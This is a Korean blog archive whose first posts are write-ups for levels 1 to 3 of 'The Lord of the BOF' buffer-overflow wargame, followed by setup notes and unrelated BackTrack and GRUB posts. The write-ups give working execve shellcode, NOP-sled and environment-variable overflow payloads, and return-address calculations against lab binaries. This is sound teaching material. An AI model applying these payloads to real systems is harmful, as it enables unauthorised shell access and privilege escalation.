2011. 6. 2. 02:29

⊙ 문제의 소스를 보자)

[gremlin@localhost gremlin]$ cat cobolt.c

/*

The Lord of the BOF : The Fellowship of the BOF

- goblin

- small buffer + stdin

*/

   

int main()

{

char buffer[16];

gets(buffer);

printf("%s\n", buffer);

}


 

+ [LEVEL2]와 틀려진건 argv인자 배열이 없어지고 gets()로 인해 표준입력 받아 buffer에 저장.


   

대략적인 구성은 LEVEL2와 같으므로 바로 본론으로 들어갑니다.

1) 셸코드를 환경변수로....

① 그럼 일단 올려보고 확인해 봅시다.

export SHCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

+ env 명령으로 해당 환경변수를 확인할수 있습니다.


   

2) 환경변수 주소를 알아보자! [Level2 참조]

[gremlin@localhost gremlin]$ ./getenv SHCODE

0xbfffff06


   

   

3) 공격문 작성

buffer[16]

EBP[4]

RET[4]

가비지값

가비지값

우리가 올린 해당 환경 변수 주소

(python -c 'print "D"*20 + "\x06\xff\xff\xbf"'; tee) | ./goblin

완료!!


   

[여기서 잠깐] 왜! tee를 사용하는가.

① # tee | sh 실행으로 간단한 테스트를 해보자

+ 이와 같이 tee와 파이프가"|" 동등한 자식프로세스로 연결되면서

tee의 입력 받은 라인이 파이프를 통해 쉘(Shell)로 전달 된다.
 

② Level3의 공격문의 이해

+ 즉 위의 그림과 같이 (python 인터프리터 공격문 ; tee) | ./goblin 을 실행하면

소괄호"()" 로 그룹화 하여 하나의 명령문으로 서브쉘 에서 실행한다.

+ ①번과 같이 tee와 파이프가 연결되어 있으므로 셸코드를 실행시키자 마자 죽지 않고
tee가 표준입력으로부터 입력을 기다린다.

+ 입력 받은 라인은 다시 표준 출력 함으로써 명령문(my-pass)을 실행시킬 수 있다.

   

*표준입력으로부터 읽어서 표준출력은 할수 있는 명령어면 다 가능하다 (예: cat)


cobolt : "hacking exposed"

Posted by devanix
2011. 6. 2. 02:24

⊙ 문제의 소스를 보자)

[gremlin@localhost gremlin]$ cat cobolt.c

/*

The Lord of the BOF : The Fellowship of the BOF

- cobolt

- small buffer

*/

   

int main(int argc, char *argv[])

{

char buffer[16];

if(argc < 2){

printf("argv error\n");

exit(0);

}

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


+ [LEVEL1]과 틀려진 거라곤 버퍼 크기가 작아진 것 밖에 없습니다.

+ 따라서 환경변수에 셸코드를 올려놓고, RET주소를 해당 환경변수로 합니다.


   

대략적인 구성은 LEVEL1과 같으므로 바로 바로 셸코드를 환경변수에 올려봅시다.

1) 셸코드를 환경변수로....

①셸코드를 환경변수로 올리기 전에 우리가 사용되는 메모리 공간을 봅시다.

[해당 원문 참조]

   

② 우리가 셸코드를 올리게 되는 곳이 저 스택영역 안에 환경변수가 사용되는 메모리 공간입니다.

Environment

여기에 셸코드 삽입.

Arguments

argv

argc

RET

우리가 셸코드를 올린 해당 환경변수 주소.

EBP

쓰레기값

buffer[16]

쓰레기값

...[중략]...

  

   

② 그럼 일단 올려보고 확인해 봅시다.

export SHCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

+ env 명령으로 해당 환경변수를 확인할수 있습니다.

  


   

2) 환경변수 주소를 알아보자!

① C언어 getenv()를 이용하자.
#include <stdio.h>

   

int main(int argc, char *argv[]) {

printf ("%p\n", getenv(argv[1]));

return 0;

}

   

② 해당소스를 컴파일

# gcc getenv.c -o getenv

   

③ 전체 경로의 파일이름 길이가 같아야 정확한 해당주소를 받아 올 수 있으므로

해당 cobolt 바이너리 파일과 같은 위치에 있도록 하자. (이름 길이도 같음)

④ 만든 getenv를 이용하여 올린 셸코드의 주소를 알아내자.

[gremlin@localhost gremlin]$ ./getenv SHCODE

0xbfffff03


   

3) 공격문 작성

buffer[16]

EBP[4]

RET[4]

가비지값

가비지값

셸코드가 올라가 있는 해당 환경 변수 주소

./cobolt $(python -c 'print "D"*20 + "\x03\xff\xff\xbf"')

완료!!


   

*미리 chsh로 /bin/bash2로 변경 해놓음.

gremlin : "hello bof world"

Posted by devanix
2011. 6. 2. 01:37

⊙ 문제의 소스를 보자)

[gate@localhost gate]$ cat gremlin.c
/*

The Lord of the BOF : The Fellowship of the BOF

- gremlin

- simple BOF

*/

   

int main(int argc, char *argv[])

{

char buffer[256];

if(argc < 2){

printf("argv error\n");

exit(0);

}

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


+ simple BOF라는 주석에서 알 수 있듯이 버퍼가 256Byte로 넉넉하다.

+ argv 인자로 문자열을 받아 strcpy()로 buffer에 복사를 한다.

+ strcpy()는 복사할 목적지 문자열에 크기를 제한하지 않음으로 Overflow가 가능하다.


   

1) 공략할 바이너리 파일을 GDB로 벗겨보자.

 (gdb) set disassembly-flavor intel

(gdb) disassemble main

Dump of assembler code for function main:

인텔문법 어셈블리 언어 설정

  

0x8048430 <main>: push %ebp

0x8048431 <main+1>: mov %ebp,%esp

함수 프롤로그 과정

(스택 프레임을 생성하는 과정)

0x8048433 <main+3>: sub %esp,0x100

0x100(10진수:256)만큼 스택공간 확보

...[중략]...

if (argc < 2) ...

0x8048456 <main+38>: mov %eax, DWORD PTR [%ebp+12]

0x8048459 <main+41>: add %eax, 4

0x804845c <main+44>: mov %edx,DWORD PTR [%eax]

0x804845e <main+46>: push %edx

0x804845f <main+47>: lea %eax,[%ebp-256]

0x8048465 <main+53>: push %eax

0x8048466 <main+54>: call 0x8048370 <strcpy>

argv주소를 eax에 복사

argv[1]

argv[1]값을 edx로 복사

strcpy 두번째 인자값을 위해 스택에 푸쉬

str주소값을 eax에 복사

strcpy 첫번째 인자값을 위해 스택에 푸쉬

strcpy (buffer, argv[1]) 호출

...[중략]....

printf("%s\n", buffer);

0x8048482 <main+82>: leave

0x8048483 <main+83>: ret

함수 에필로그 과정
(스택프레임을 제거하는 과정)

*권한이 없으므로 tmp폴더 생성후 바이너리 파일 복사.

① buffer[256]과 같이 정확히 0x100(10진수:256)Byte만큼 스택공간을 확보, 즉 더미(dummy)는 없습니다.

② 쉘코드를 buffer에 삽입후 RET주소를 buffer의 주소([%ebp-256])로 넣습니다.

③ buffer시작 주소부터 RET의 시작주소 까지의 오프셋 :: buffer(256) + EBP(4) :: RET
 

[여기서 잠깐] 왜! 더미는 없을까? -

구글링 해보니 2.96 미만의 gcc버전에서는 더미(dummy)가 없다고 한다.

[gate@localhost gate]$ gcc -v

Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs

gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)


   

2) GDB로 RET 주소를 구해 보자.

[gate@localhost tmp]$ gdb -q gremlin

(gdb) disassemble main

Dump of assembler code for function main:

...[중략]...

0x8048466 <main+54>: call 0x8048370 <strcpy>

0x804846b <main+59>: add $0x8,%esp

0x804846e <main+62>: lea 0xffffff00(%ebp),%eax

0x8048474 <main+68>: push %eax

0x8048475 <main+69>: push $0x80484ec

...[중략]...

(gdb) b *main+62

Breakpoint 1 at 0x804846e

(gdb) r $(python -c 'print "D"*264')

Starting program: /home/gate/tmp/gremlin $(python -c 'print "D"*264')

Breakpoint 1, 0x804846e in main ()

① argv 인자로 전달한 공격문은 strcpy()함수 이후에 buffer에 복사되기 때문에 strcpy()이후로 break를 겁니다.

② 공격문을 argv 인자전달로 넘겨주기 때문에 공격문의 길이에 따라 EBP 값이 변합니다.

따라서 Buffer(256) + EBP(4) + RET(4) = 264Byte이므로 Python 인터프리터문으로 "D"*264 전달합니다.

③ EBP값은 0xbffffa18 이므로 EBP-256(buffer길이) 빼주면 0xbffff918이 됩니다.

여기서 "D"의 ASCII코드값이 44이므로 쉽게 눈으로 확인 할 수 있습니다.

④ 대략적으로 중간 지점인 0xbffff0a8 리턴할 주소로 잡습니다.


   

3) 공격에 사용할 쉘코드 작성. [참조1] [참조2]

.global main

main:

/* int execve(const char *filename, char *const argv[], char *const envp[]) */

xor %eax, %eax         ;# eax를 0으로

push %eax ;# 문자열 종결을 위해 널을 푸시

push $0x68732f2f ;# "//sh"를 스택에 푸시

push $0x6e69622f ;# "/bin"를 스택에 푸시

mov %esp, %ebx         ;# esp에서 "/bin//sh"의 주소를 가져와 ebx에 쓴다.

push %eax ;# 32비트 널 종결자를 스택에 푸시

push %ebx ;# 널 종결자 위에 문자열 주소를 푸시

mov %esp, %ecx         ;# 문자열 포인터가 있는 인자 배열

cdq ;# eax에서 부호 비트를 가져와 edx를 0으로

mov $0xb, %al ;# 시스템 콜 11번 (execve)

int $0x80

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"


   

4) Python 인터프리터 공격문 작성

NOP 썰매(200Byte)

셸코드(24Byte)

NOP 썰매(36Byte)

RET(4Byte)

./gremlin $(python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*36 + "\xa8\xf9\xff\xbf"')

   

특이사항)

① 이와 같이 셸코드 오른쪽엔 어떠한 값(NOP썰매)이 최소 16Byte이여야 한다.

NOP 썰매(228Byte)

셸코드(24Byte)

NOP 썰매(8Byte)

RET(4Byte)

(X)

NOP 썰매(224Byte)

셸코드(24Byte)

NOP 썰매(12Byte)

RET(4Byte)

(X)

NOP 썰매(220Byte)

셸코드(24Byte)

NOP 썰매(16Byte)

RET(4Byte)

(O)

NOP 썰매(216Byte)

셸코드(24Byte)

NOP 썰매(20Byte)

RET(4Byte)

(O)

   

② 꼭 NOP썰매가 아니더라도 특정한 영문자도 되더라.

"A"*(212Byte)

셸코드(24Byte)

"A"*(24Byte)

RET(4Byte)

(O)

"B"*(208Byte)

셸코드(24Byte)

"B"*(28Byte)

RET(4Byte)

(O)

"C"*(204Byte)

셸코드(24Byte)

"C"*(32Byte)

RET(4Byte)

(O)

"Z"*(200Byte)

셸코드(24Byte)

"Z"*(36Byte)

RET(4Byte)

(O)

  


   

5) 이제 적을 물리쳐 보자!

   

어찌된 일인지 GDB로 확인해 봅시다.

   

0xbffffa6c를 보면 리턴주소가 0x4000f9a8 되어있습니다.

분명 리턴 주소는 0xbffff9a8이 였는데 말이죠..

어찌된 일 일까요? 해당 사이트를 검색해 보았습니다. [원본 위치]

구버젼의 bash에 실행 파일의 인자로 전달되는 값들 중 0xff를 인식하지 못하는 버그가 있습니다.

따라서 C언어의 exec* 계열 함수를 호출하여 인자를 넘기시거나 업그레이드 버젼인 /bin/bash2를
실행하시면 문제가 해결됩니다.

   

[gate@localhost gate]$ /bin/bash -version

/bin/bash -version

GNU bash, version 1.14.7(1)

   

[gate@localhost gate]$ /bin/bash2 -version

GNU bash, version 2.03.8(1)-release (i386-redhat-linux-gnu)

Copyright 1998 Free Software Foundation, Inc.

   

자그럼 bash2로 변환후 다시 해보죠..

이제 되네요.. 성공!!


 

   

   

--) 공격 구성 순서 정리.

① 권한문제로 tmp 폴더 생성후 gramlin 복사. :: # mkdir tmp && cp gramlin tmp

② GDB를 통해 버퍼크기와 더미존재 여부 확인.

③ GDB로 RET주소를 구하자.

  • 버퍼크기가 256Byte나 되므로 쉘코드를 버퍼에 삽입후 RET주소를 buffer의 주소로 바꾼다.

④ 공격에 사용할 쉘코드 작성
⑤ Python 인터프리터 공격문 작성

⑥ bash2 && 공격


*(앞으로 모든 레벨에서의 쉘은 chsh명령으로 /bin/bash2로 변경)

gate : "gate"

Posted by devanix
2011. 5. 29. 20:15

1) 만약을 위한 Root 비빌번호를 바꾸자.

LILO boot : linux single (싱글 부팅)

bash# passwd

New UNIX password: ******

Retype new UNIX password: ******

passwd: all authentication tokens updated successfully

   

2) netconfig 명령으로 네트워크 설정

① $ netconfig -> Yes

   

② Vmware에서 NAT Settings에서 [Gateway IP] 확인

[Vmware] - [Edit] - [Virtual Network Editor...] - [Vmnet8(NAT)] - [NAT Settings...]

   

③ 아래와 같이 자기에 맞게 셋팅

   

④ ping 확인

  

   

3) Putty 설정 및 접속

 

dPutty 다운로드 링크

   

이제 신나는 BOF원정 go~ go~

Posted by devanix
2011. 5. 29. 20:11

[BOF-BufferOverflow- 원정대란?]
비교적 쉬운 BOF 공략 환경인 Redhat 6.2에서부터 궁극의 Fedora 14까지 
수십개의 레벨을 거쳐가며 BOF 시스템 해킹 실습을 하는 War-Game입니다.

[접속 방법]
BOF 원정대는 도메인이나 IP가 아닌, vmware 이미지 형태로 제공합니다.
따라서 각자의 PC에 워게임 서버를 가동하신 후 접속해 풀어나가는 방식입니다.

[다운로드]
1. 다음 Vmware 이미지를 다운받아 부팅한다.
http://work.hackerschool.org/DOWNLOAD/TheLordOfTheBOF/TheLordOfTheBOF_redhat.zip
2. gate/gate로 로그인한다.
3. netconfig 명령으로 네트워크 설정을 한다. (setuid 걸어 놨습니다)
4. ip를 확인한다. (/sbin/ifconfig)
5. putty, xshell등으로 터미널 접속하여 문제 풀이를 시작한다. (telnet)

[기본 룰]
1. single boot 금지
2. root exploit 금지
3. /bin/my-pass 명령에 LD_PRELOAD 사용 금지

[레벨업 패스워드 확인]
/bin/my-pass

[전용 게시판]
http://www.hackerschool.org/HS_Boards/zboard.php?id=bof_fellowship

[몹 리스트]
LEVEL1  (gate -> gremlin) :  simple bof
LEVEL2  (gremlin -> cobolt) : small buffer
LEVEL3  (cobolt -> goblin) : small buffer + stdin
LEVEL4  (goblin -> orc) : egghunter
LEVEL5  (orc -> wolfman) : egghunter + bufferhunter
LEVEL6  (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter
LEVEL7  (darkelf -> orge) : check argv[0]
LEVEL8  (orge -> troll) : check argc
LEVEL9  (troll -> vampire) : check 0xbfff
LEVEL10 (vampire -> skeleton) : argv hunter
LEVEL11 (skeleton -> golem) : stack destroyer
LEVEL12 (golem -> darkknight) : sfp 
LEVEL13 (darkknight -> bugbear) : RTL1
LEVEL14 (bugbear -> giant) : RTL2, only execve
LEVEL15 (giant -> assassin) : no stack, no RTL
LEVEL16 (assassin -> zombie_assassin) : fake ebp
LEVEL17 (zombie_assassin -> succubus) : function calls
LEVEL18 (succubus -> nightmare) : plt
LEVEL19 (nightmare -> xavis) : fgets + destroyers
LEVEL20 (xavis -> death_knight) : remote BOF 

해당 사이트 링크
Posted by devanix
2011. 5. 29. 10:17
모든 메뉴가 영어닷.... 울렁... 한글 설정을 해보자.

1) language-selector 설치.


root@bt:~# apt-get install language-selector

Reading package lists... Done

Building dependency tree       

Reading state information... Done

The following packages were automatically installed and are no longer required:

  libdmraid1.0.0.rc16 python-pyicu libdebian-installer4 cryptsetup libecryptfs0 reiserfsprogs

  rdate bogl-bterm ecryptfs-utils libdebconfclient0 dmraid keyutils

Use 'apt-get autoremove' to remove them.

The following extra packages will be installed:

  apt-xapian-index libcairo-perl libglib-perl libgnome2-canvas-perl libgnome2-perl

  libgnome2-vfs-perl libgnomevfs2-extra libgtk2-perl libpango-perl python-debian

  python-software-properties python-xapian software-properties-gtk synaptic unattended-upgrades

Suggested packages:

  libgtk2-perl-doc xapian-doc dwww deborphan bsd-mailx

The following NEW packages will be installed:

  apt-xapian-index language-selector libcairo-perl libglib-perl libgnome2-canvas-perl

  libgnome2-perl libgnome2-vfs-perl libgnomevfs2-extra libgtk2-perl libpango-perl python-debian

  python-software-properties python-xapian software-properties-gtk synaptic unattended-upgrades

0 upgraded, 16 newly installed, 0 to remove and 0 not upgraded.

Need to get 4,020kB of archives.

After this operation, 19.3MB of additional disk space will be used.

Do you want to continue [Y/n]? Y 

위와 같이 language-selector를 설치하면 알아서 의존성 검사를 하여 총 16개의 새로운 패키지를 설치해준다. (착하다...)

설치 완료후 아래와 같이 [Language Support] [Software Sources] [Synaptic Package Manager] 메뉴가 생겼다.



2) [Language Support] 설정

① 아래의 슬라이드쇼대로 설정 한다.

0123


 ② 재부팅을 하면 아래와 같이 한글이 메뉴가 보인다.


*캬~ 세종대왕님께서 기뻐하시겠다~~~



3) 키보드 설정 (BT5-GNOME-VM-32를 받아 Vmware 에서 테스트 하여 키보드 설정이 안되어 있는 상태! 키보드 설정을 해보자.)

① [시스템] - [기본 설정] - [키보드] - [키 배치(탭)] - [추가(A)...]
② [국가별(탭)] - [국가] - [대한민국] & [변종] - [대한민국 101/104키 호환] - [추가]
③ [키보드 모델] 설정후 -> [시스템 모든 부분에 적용] -> [닫기]


킁..근데 [한/영키][한자]가 먹지 않는다.  구글링......
* Vmware 7 미만 버전에서는 해당키가 모두 적용 되었으나 7 버전 이후부터는 [한/영][한자]키가 인식이 되지 않는다.
  대신 [한/영]키 오른쪽에 있는 [Alt]키가 먹힌다. 또한 [한자]키는 아예 적용이 안되는 고유의 에러 란다 걍 쓰자..머리아프다 ;



추가) 한글 맨페이지 설치 (이왕 하는김에 한글 맨페이지도 설치해보자.)

① 우선 기본 저장소에 manpages-ko 패키지가 없는 상태이므로 [코분투 저장소]를 추가 하자.

 add-apt-repository ppa:cobuntu

② 바로 적용이 안된다. apt-get update를 하자.

# apt-get update

③ 이제 한글 맨페이지 설치

# apt-get install manpages-ko


한글 설치 완료!
 
Posted by devanix
2011. 5. 28. 20:49


Backtrack5를 설치후 사운드 설정을 클릭하는 순간....


[Problem] 사운드 설정... 을 클릭시 "사운드 시스템 응답을 기다리는중" 이라는 메시지가 뜬다.


구글링을 해보니.. 우분투 10.04에서 root로 로그인 하면 그놈 패널에 있는 사운드 애플릿으로 사운드 볼륨 설정을 할수 없덴다..

[Solution
Go to [System]->[Preferences] -> [Startup Applications] 에서 [Startup Programs] -> [Add] 버튼을 클릭.

 위와 같이 입력후 [로그아웃]후 다시 [로그인]을 하면 해결!



※참조 : http://www.ubuntugeek.com/ubuntu-10-04-tip-how-to-fix-waiting-for-sound-system-to-respond-problem.html

'Linux > 문제 해결' 카테고리의 다른 글

[Xubuntu] tvtime 설치후 볼륨제어 문제  (0) 2011.08.07
Posted by devanix
2011. 5. 27. 08:27

집에 굴러 다니는 컴퓨터(매직스테이션 MZ48)에 윈도우를 삭제하고 리눅스만 설치하고 싶어졌다. 

그럼 좀더 리눅스와 가깝게 느껴질까 하는 마음에..(-_;) 


사양:
      
CPU - Intel(R) Pentium(R) 4 CPU 3.00GHz
      램1G , 하드 120G

목표:

        코분투(11.04) 와 (Backtrack5)를 하나의 디스크에 설치.

준비물: 
        1) 코분투 11.04  (한글화가 잘되어 나같은 초보자들에겐 추천)
        2) Backtrack5    (우분투 10.04기반으로  해킹&보안 패키지로 구성)
        3) Universal USB Installer (USB에 넣어 설치) 


하드가 120G 뿐이라 파티션을 어떻케 나눠야 될지 고민이 되었다.
그렇다고 한개의 리눅스만 깔자니 좀 심심할꺼 같구... (변덕이 심하여;;)

파티션 구성:


대락 구성은 이렇다.
/dev/sda1 - 코분투(Cobuntu11.04)
/dev/sda2 - 스왑(SWAP)   -  (코분투 와 백트랙이 공유)
/dev/sda3 - 백트랙(Backtrack5)
/dev/sda4 - 개인 저장 공간(Data)

*어차피 파티션이 4개뿐이라 모두 주 파티션 으로 구성 되었다.

설치 순서:
        
1) 처음 코분투를 설치할때는
/dev/sda1 (/루트) 와  /dev/sda2(swap)만 구성 스왑은 공유하기 때문에 1개만 만든다.
          2) 나머지 리눅스(Backtrack)을 설치 하기 위해 여분에 공간을 남겨두고 설치.
          3) 두번째 BT5 는 /dev/sd3(/루트) 와 /dev/sda4(/data) 구성 및 설치. (부트 로더는 설치 하지 않는다.)


이렇케 설치를 하여 부팅을 해보니 설치는 잘 진행 되었다.
그런데.. 역시 문제가...발생했다.

문제1:
 그런데 문제는 두번째 백트렉5 이하 BT5를 설치도중 부트로더 설정을 그대루 둔체  설치를 진행하여 부트로더를 덮어버렸다.
 그래서 GRUB메뉴에서 첫번째 설치한 코분투가 보이지 않았다. 

 구글링을 시작...

* 백트렉으로 밖에 부팅이 되지 않으므로 백트렉에서 sudo update-grub 을하면 grub을 자동생성 해준다.
* 다시 재부팅 하자 GRUB 메뉴에 코분투 메뉴가 보였다.
 
문제2: 
 GRUB메뉴에 코분투 메뉴가 보이긴 했지만 왠지 찜찜했다.
 BT5는 우분투 10.04 기반이라 GRUB 버전이 1.98이였고 코분투 11.04는 GRUB 버전이 1.99였다.
 물론 업그레이드 하면 될 문제였지만 메뉴 순서와 찜찜함에 다시 코분투에 부트그룹을 복구하고 싶었다.

구글링 시작...

* 다행히도 BT5로 부팅이 되어 복구CD는 필요치 않았다.
* 그냥 /dev/sda1에 설치된 코분투로 부팅
 # sudo grub-install /dev/sda
 # sudo grub-install --recheck /dev/sda
 
바라는 대로 다시 코분투에서 부트그룹이 복구가 되었다.
순서 역시 코분투가 먼저 나왓고 GRUB 버전도 1.99로 되었다. 




 
Posted by devanix